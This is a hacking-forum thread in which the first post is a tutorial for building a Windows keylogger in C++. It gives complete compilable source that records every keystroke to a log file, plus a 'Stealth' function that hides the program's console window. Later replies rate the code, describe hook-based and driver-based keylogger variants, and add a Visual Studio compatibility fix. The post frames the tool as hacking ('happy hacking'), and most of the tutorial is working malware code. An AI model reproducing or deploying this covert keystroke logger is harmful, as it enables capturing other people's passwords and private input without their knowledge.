How to make a keylogger using C++ - WAR10CK - 05-31-2011
Hello ever1. In this post i will tell u how 2 create a keylogger using C++.
Requirements:
1)Dev C++
2)Knowledge about visual C++(if u r going to develop the code)
Well let's get started. Download Dev C++ from www.bloodshed.net and install it in ur computer.
Then open the Dev C++ compiler and go to file>new>source file
U will see a blank word space Overthere paste this code:
Code:
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}Then complie the code (ctrl+F9)
Now execute the program by selecting Execute->Run(ctrl+F10)
Now the keylogger will run in ur system. Whatever u type will be stored in the log.txt file.
I hope this tutorial wax usefull 4 my readers. Enjoy and happy hacking.:epic:

Good, but not the best, because if you write fast, than some letters dont show up. 3/5

Thanks for this! I will definitely try it, I have been looking for one of these tutorials for a while

How do you get rid of it? I'd rather not give myself malware, even if I made it o_O

There are three types of keyloggers on windows. Asynchronous, SetHook(using a external .dll library) and driver based, the best one and the hardest too(it has to be designed to work on USB or PS/2, not both), unfortunately who knows how to code drivers doesn't share the last at all.

It won't be permanent, it's just recording the strokes for that session.
As for OP, Dev++ is such an outdated tool, try something newer.
I personally prefer CodeBlocks(when I'm not using Microsoft C++)

If you code in Visual Studio you are going to need the lines below:
Code:
errno_t err;
FILE *OUTPUT_FILE;
err = fopen_s(&OUTPUT_FILE,file, "a+");RE: How to make a keylogger using C++ - LunatiC - 03-21-2013
I guess you got this keylogger from here http://www.breakthesecurity.com/2011/03/learn-to-create-keylogger-using-cbasic.html?m=1?
So not your code either.

Don't gravedig. This thread is two years old. OP isn't active anymore.
